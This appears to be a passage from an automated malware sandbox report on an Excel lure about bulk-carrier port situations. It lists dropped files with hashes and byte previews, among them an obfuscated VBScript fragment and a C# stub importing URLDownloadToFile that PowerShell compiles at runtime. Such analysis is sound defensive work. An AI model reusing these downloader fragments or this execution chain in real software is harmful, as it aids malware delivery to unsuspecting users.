Preview:	..........F.u.n.c.t.i.o.n. .e.n.g.o.m.a.d.e.l.a.(.B.y.V.a.l. .c.o.r.n.o.f.o.n.e.,. .B.y.V.a.l. .m.o.q.u.e.n.c.o.,. .B.y.V.a.l. .a.p.r.e.s.a.r.)..... . . . .D.i.m. .a.s.s.e.n.t.i.m.e.n.t.o..... . . . .a.s.s.e.n.t.i.m.e.n.t.o. .=. .I.n.S.t.r.(.c.o.r.n.o.f.o.n.e.,. .m.o.q.u.e.n.c.o.)..... . . . ..... . . . .D.o. .W.h.i.l.e. .a.s.s.e.n.t.i.m.e.n.t.o. .>. .0..... . . . . . . . .c.o.r.n.o.f.o.n.e. .=. .L.e.f.t.(.c.o.r.n.o.f.o.n.e.,. .a.s.s.e.n.t.i.m.e.n.t.o. .-. .1.). .&. .a.p.r.e.s.a.r. .&. .M.i.d.(.c.o.r.n.o.f.o.n.e.,. .a.s.s.e.n.t.i.m.e.n.t.o. .+. .L.e.n.(.m.o.q.u.e.n.c.o.).)..... . . . . . . . .a.s.s.e.n.t.i.m.e.n.t.o. .=. .I.n.S.t.r.(.a.s.s.e.n.t.i.m.e.n.t.o. .+. .L.e.n.(.a.p.r.e.s.a.r.).,. .c.o.r.n.o.f.o.n.e.,. .m.o.q.u.e.n.c.o.)..... . . . .L.o.o.p..... . . . ..... . . . .e.n.g.o.m.a.d.e.l.a. .=. .c.o.r.n.o.f.o.n.e.....E.n.d. .F.u.n.c.t.i.o.n.............p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .R.e.a.d.S.t.d.I.n.(.)..... . . . .w.h.i.l.e. .N.o.t. .s.t.d.I.n...A.t.E.n.d.O.f.S.t.r.e.a.m..... .

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1023728.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	3191264
Entropy (8bit):	2.0118490192617995
Encrypted:	false
SSDEEP:	6144:nA0Ki15RlURvLuky+NkuCVAKERludvLuk0Vgk9CVnOKAOK1:P5RlMHk5ERlyDkr8a
MD5:	04A17584C7203C47419D4AC2163B98C6
SHA1:	485E17A82AE4672AC8D4B542CA0F509B80C0C4DF
SHA-256:	EBA2B7C929B2EAA16FB1F733B7ACDDDFD80635A7211B3FBE400FF2796C17827E
SHA-512:	043092951F27E81FF96DA084E8112107D6F00DAEE83ADA80132BEC696E56309D16FDDED39F7F3810CA58BB6357CC6A75718CDD2F7B4342CF82D0421B7681A88C
Malicious:	false
Preview:	....l...........@................S...".. EMF.....0.....#...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.................P.....%.....................P.....................................L...d.......<.......m.......<.......2...!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1F222F76.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	7440
Entropy (8bit):	5.6312448977812695
Encrypted:	false
SSDEEP:	96:PV1Ipi7blJaXn/08zDefAm/luoOHo6MiDbDda91RjTBbPxmPAWmOHDx:PVxvTNAK4oOIGbK1RvVwPAWmOHDx
MD5:	DEA1DEA8BEA479821FA2AC1C565B6E56
SHA1:	86865637336A9FEFA98AC5ABD189A848BE8852D4
SHA-256:	64832E2264B5A851EE2CC7E048DA437D6F41B1C3DCAA385971DAA1B502A11125
SHA-512:	1E1858F58748BF88DAB254F524943AC2C8576B4546AA67E37DFFE8917396A1CCCBA3964554AA77C599DD1CA184A56B8AFC3406A14C880A1B88D163EB04BACA1C
Malicious:	false
Preview:	....l........... ...<...........w....... EMF................................8...X....................?..............................@...C...R...p...................................S.e.g.o.e. .U.I.....................................................6.).X.......d............................Xt....\.............L...7.Xt........].v?.Xt......Xt.......w8.....9............w....$.......d...........*XYt.....XYtH...8....d....9.-...4...6=.w................<.fv.[Sw....X..V..............................Twdv......%...................................r...................'...........(...(..................?...........?................l...4...........(...(...(...(...(..... .........................................................................................................................................................................................................................................HD?^KHCcNJFfOJFiQMHlSPJoUPLrWRMvYSPx[UR{]XQ~^XS._ZT.a[U.c\U.e^V.e^X.g`Y.hbY.jaZ.jb\.ld].ld].nd^.nf^.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\51FEBD09.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	3064680
Entropy (8bit):	1.8507381356738084
Encrypted:	false
SSDEEP:	6144:NaeRlcBvLukyV6kTCVQKERludvLuk0Vgk9CVX:oeRlM7kmERlyDku
MD5:	93774BB9AECD3837D6496AE965D1BD80
SHA1:	AE60D6A30E74BB5BE492CA71B82205D5C6B850C4
SHA-256:	6CDB58A3C6906A6DD49DB83340ACC7AF0B7C7BBA5C01D8B0A9F562AEBDC85897
SHA-512:	3810C4CDE003BAF916D626A41C0534BF421F5CDBF64D897F385FEDA36F556B6FECC27DB294A39F89C82DF0570424DE2EBB789E0B2294D42BFF80A64756257BD6
Malicious:	false
Preview:	....l............................]..WT.. EMF....h...........................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................2......."...........!...............................................2......."...........!...............................................2......."...........!...............................................2.......'.......................%...........................................................L...d.......L.......!.......L...........!..............?...........?................................L...d...y...Y...........y...Y.......[...!..............?...........?................................'.......................%...................................&...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A71C2DA4.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1296688
Entropy (8bit):	3.5918180538443347
Encrypted:	false
SSDEEP:	6144:M0fH3s01u2uIfTlw35Yjkndm9wHiT53ZkyOmCl6PV2yuxOK3OKP:P3WQTi35XH1RW7vZM
MD5:	27D7A82B9C7722733A57878EE4EFE804
SHA1:	7113615A436D13552335B03E2D1745B891533D78
SHA-256:	2A3C135D49FC9164BEA151BC295AAB90337D319E7F81240A9A6AFACF04212FF0
SHA-512:	ECA1126DDFCF0DAB57FBF0ADB958AC3784A054D782ABFD7E6F7373D4EA019C0D91B32BFEE3C078E3AD50AEC7DC2F71722D960A87F5DE4A5B00BDFD98217253FD
Malicious:	false
Preview:	....l...........................6[...%.. EMF....0.......$.......................@...........................F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.................P.....%.....................P.....................................L...d.......1.......Z.......1.......*...!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BEB7FE65.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1504468
Entropy (8bit):	1.7693060102813485
Encrypted:	false
SSDEEP:	3072:L+6i9zy7v2/uEB1A/meRlmRYT9FANxg2WUZUKdRLuk0VgHPLk9CVi:LKERludvLuk0Vgk9CVi
MD5:	EF3C18CC49B02153C770DB977B2E7435
SHA1:	D436E0F820DDBBA10DB4D3F1243ED3AA6468C057
SHA-256:	F328FB5B6055B687344190BB13D8DD6CDF6EA76D4AAAE6C5112DEC1B32ACE3C2
SHA-512:	2081EF5EE87A360894B8726494F30DFEEFF7D922E733D2E633A3D010DE56C6A4CAEADEEBE4CD12A28658AE250ADE3B093F2FAB032B92A31D511D9C99A12AF337
Malicious:	false
Preview:	....l...........I...R............:...).. EMF................................8...X....................?...........................................:...)..........J...S...Q...............I...R...................J...S...P...(...x........... ....:...)..(...J...S.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\033vkljg.i1u.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (355)
Category:	dropped
Size (bytes):	472
Entropy (8bit):	3.7725208644149166
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuE40zmMm/nQXReKJ8SRHy4H+J4EEJ4rNgueIy:V/DTLDfuER5XfHCzETueIy
MD5:	1A212B8A44924D84EEBA108F2409B5E8
SHA1:	B19066FAB9C3329CD206958DACEE65A08607586B
SHA-256:	977B687CCDCAEA25B4AFDD04DBAC19BF12B31AFAD4AE226D7B7E5ED5CABCF073
SHA-512:	4D4BBADA1880CE68CEEAFF34A1D412350F715C0F5F741F7F47692549280DC92738881CE1FFF7BBCD472610A63D99DED94CA713CC859B330A07D13DF2313EA453
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace lxsBtSMPv.{. public class dzTk. {. [DllImport("UrlMON", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr dnHrLo,string jlWMht,string L,uint UDwRBXCS,IntPtr qEKvq);.. }..}.

C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.204671018092592
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fPRWVJfPzxs7+AEszIP23fPRWVJfK:p37Lvkmb6KzhwfPWZEohwfK
MD5:	49059432C987AFDF55C5A0571EB19A0F
SHA1:	3D8B2072C312390F32A3EBA1DF0465BCE36C0E47
SHA-256:	8591ACC67744720ED8EB15E882A9DDA7C383972F492A66E784B186BBDF78ED21
SHA-512:	98CD8ADB6667B9F19780FD6DDBC5DC19FAAE72E9D2E7885D1440E730FA8E9642A6E52F282BFF59BAE89D8799FF2A2827FDD8603D1AF6EB046CD72E728B9490CF
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.0.cs"

C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.815848322961813
Encrypted:	false
SSDEEP:	24:etGSkPBu5exl8sMQgkg4qvEStZwtkZfTmjcUWI+ycuZhNtakSLPNnq:67sx+FT4CEStZXJTmA31ulta3hq
MD5:	39D0B927E653EFD82F02329F4E845828
SHA1:	9960A141AAB887C3DAC28500BCB94CC8A247A12F
SHA-256:	BD601FF851C8DED98E112463CDA183E4FBA474C7B5C3040A4864410941001B60
SHA-512:	1F3FF8A00A20818F745AA725660059215CE009ECF5216718D5DFD1E8F0E535CAF8A3D72ADCBE361761B51A0F22A1547A398FD9834AD09EC1042A333FBB1B381A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....w;g...........!.................#... ...@....... ....................................@.................................T#..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................6./.....t.....t.......................................... =.....P ......O.........U.....\.....c.....e.....n...O.....O...!.O.....O.......!............=.......................................&..........<Module>.03

C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.332200429023354
Encrypted:	false
SSDEEP:	24:AId3ka6KzkMEokDKaMD5DqBVKVrdFAMBJTH:Akka60kMEokDKdDcVKdBJj
MD5:	5058C2FA1959818C366D52184FC871BE
SHA1:	37BD07F655EFB5DB705AECF8914E9436F70A784C
SHA-256:	3B7FB35474A5F58BDC60A6340C1353B750ABA0B513E9D78EE57FE53D83073D53
SHA-512:	741B9B9C9F1AD95C47DD4E10E918B5FC288495598899579CDCF62F181FAD1204BBBB2E769BEA5814FEB210F20CF95A6B6B7CFD3016F9D3BF74892F259C9A2602
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\03wlztsz\CSC280AB7AC39534067B2898716E8B346.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0965316496142
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryfak7YnqqLPN5Dlq5J:+RI+ycuZhNtakSLPNnqX
MD5:	BF6099361F9196E2BF6F8F045A8A7AD8
SHA1:	831C998A2F194DD92D479E1D6650FB815947D721
SHA-256:	1D127D8B7B75B016FD7FD1F60C21D43CC5F4D66A94D81E3407C7345C207CE300
SHA-512:	8CA25EA84185F75A96EDB5C75F63DE7903DE1D615BFCF1DD80455358957F587DE60966C67A6CC32B898FE3E878C35A7CDBCFEE16B9ADC442472CE260FF256443
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...0.3.w.l.z.t.s.z...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...0.3.w.l.z.t.s.z...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\2AB9.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 3, database pages 20, cookie 0x15, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.7798653713156546
Encrypted:	false
SSDEEP:	48:L3k+YzHF/8LKBwUf9KfWfkMUEilGc7xBM6vu3f+fmyJqhU:LSe7mlcwilGc7Ha3f+u
MD5:	CD5ACB5FAA79EEB4CDB481C6939EEC15
SHA1:	527F3091889C553B87B6BC0180E903E2931CCCFE
SHA-256:	D86AE09AC801C92AF3F2A18515F0C6ACBFA162671A7925405590CA4959B51E96
SHA-512:	A79C4D7F592A9E8CC983878B02C0B89DECB77D71F9451C0A5AE3F1E898C42081693C350E0BE0BA52342D51D6A3E198E0E87340AC5E268921623B088113A70D5D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3C56.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3008001, file counter 24, database pages 5, cookie 0xf, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.3870145383915669
Encrypted:	false
SSDEEP:	48:TBLOpEO5J/Kd7UEvqckQaKgj5EZwx1wayEgd7kKK9LeYyBlIAO/tXK:hNw0CKaKfu1wai6LeYzN/9K
MD5:	1623709C6B2FB813984B1265C26A85F1
SHA1:	CCE4DDBE93E97E68359CB6FD71242F796A785F86
SHA-256:	88BCF762A75F085ECD3B12EB2BA81B81A7F8C9CDDDD4DED624BA28566EB7EEAA
SHA-512:	6D2E23E4E0D1D912AF3426129F7DE490F23326F6179EEC27AFE28C438CA37493AEA775E62755C76D6A8850DB6D6E70F0D0A8D396A35E869F4BF0F761CDD507D8
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................-........#..k...#.<....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\402E.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\43jwpgpg.iy1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\4paf41r1.gzg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\5nomjshu.5ju.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\PORTS SITUATION BULK CARRIERS.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	24052
Entropy (8bit):	7.652425367216495
Encrypted:	false
SSDEEP:	384:EaNYaTXe5BPJ2cpRYnyAt3TtsVaWtmGJA8+6qdPGlDLRoucPQFVJG:Ea6aje5BP7RMYt9h44wQFV4
MD5:	AE24ADB29E22854D176245019B60E937
SHA1:	28E9F74782AA0D138EE52E3191248F827BF27A1D
SHA-256:	5BF5C455288A0B5184B23744506939B604BF402E346AFAE18269BBE888412129
SHA-512:	10AE2624E874CBA663DA08AA0C0FEBE19421FD01F72D54957F22A028A58A33BD4078C6A9CCA7CDAB94FC59030894BEA018141E6920AF4E926155C7EE49B6507D
Malicious:	false
Preview:	PK..........!..B.....@.......[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................T.N.0..W.."o.....U.aAaY...`.5~...3....3(ME3.Dy..\|..W[...hch.y........V.z../E...Q..h..P\..,.w.....[....R...+lb.._..."~.k...5....1....`....t..Qu...{%O6..z._.j.J.Y....`>.......g..S.e.. .-3.. bc(.jy..5P.L?.g..u......{.%b..ZP.N..s........G....s..6....`o.N0.........\|.<FTM.=..k...7.N.4......p..sL(....@....N...,.s......C.Q........?........:.r...=;q.G....`..O...G.O.)..N...A...i.....o.......PK..........!...%S............_rels/.rels ...(.................................

C:\Users\user\AppData\Local\Temp\PORTS SITUATION BULK CARRIERS.xlsx:Zone.Identifier

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:gAWY3n:qY3n
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Temp\RES2B07.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Mon Nov 18 17:21:41 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.984108290385013
Encrypted:	false
SSDEEP:	24:Hee9ERjxVQdH34wKdNWI+ycuZhNtakSLPNnqSqd:oxqXKd41ulta3hqSK
MD5:	9FD0D41E7DD1768F21CC6A7C6D508F17
SHA1:	CE1D48A811DAFC51593D72D8D5345E8422A26532
SHA-256:	2553B0CEA901057D09BBD2918E7A5B02E25250DF1F778480675B8BA737B89A10
SHA-512:	C5E4A676D465E6E926D79D45936275B95FB35DD3B7FBEF5E61F789D466AC5700B1BE438080A9D044BF6C386E81ABFE7462FA584D4AD57157AD8CCBDE96A2C1A1
Malicious:	false
Preview:	L....w;g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........R....c:\Users\user\AppData\Local\Temp\03wlztsz\CSC280AB7AC39534067B2898716E8B346.TMP..................`.6....o..Z.z...........4.......C:\Users\user\AppData\Local\Temp\RES2B07.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...0.3.w.l.z.t.s.z...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\RES845C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Mon Nov 18 17:22:04 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.995504907446259
Encrypted:	false
SSDEEP:	24:Hpe9E2UEiodHdDwKdNWI+ycuZhNgzGakS7zXPNnqSqd:lTA9UKd41ulgKa37xqSK
MD5:	7B03516520CB8E92C1D2CEF2F0BE933A
SHA1:	478E69CCC10526DB4F220D9025EB80821ECFD5E7
SHA-256:	F34D6730EDF09F2ABE725ACC91DA77A46B6A936F2D6B8AF02801C44E24BA1380
SHA-512:	BFA6BF9620D7E9D0E1D96667CAC1FF53A3B9CBF82EAFB1B823955E61D2AA89450C3857DD0E48027C0045A9BC351EA6842023B9B520FA2FB04CC5B135376E0058
Malicious:	false
Preview:	L....w;g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\mffkkngw\CSC9E50345C585C4EFF867E1FFD2050D1A6.TMP...............G...W.p.D.?.+...........4.......C:\Users\user\AppData\Local\Temp\RES845C.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...m.f.f.k.k.n.g.w...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\gzgqfeoi.gku.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\izsw1ffy.s0n.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
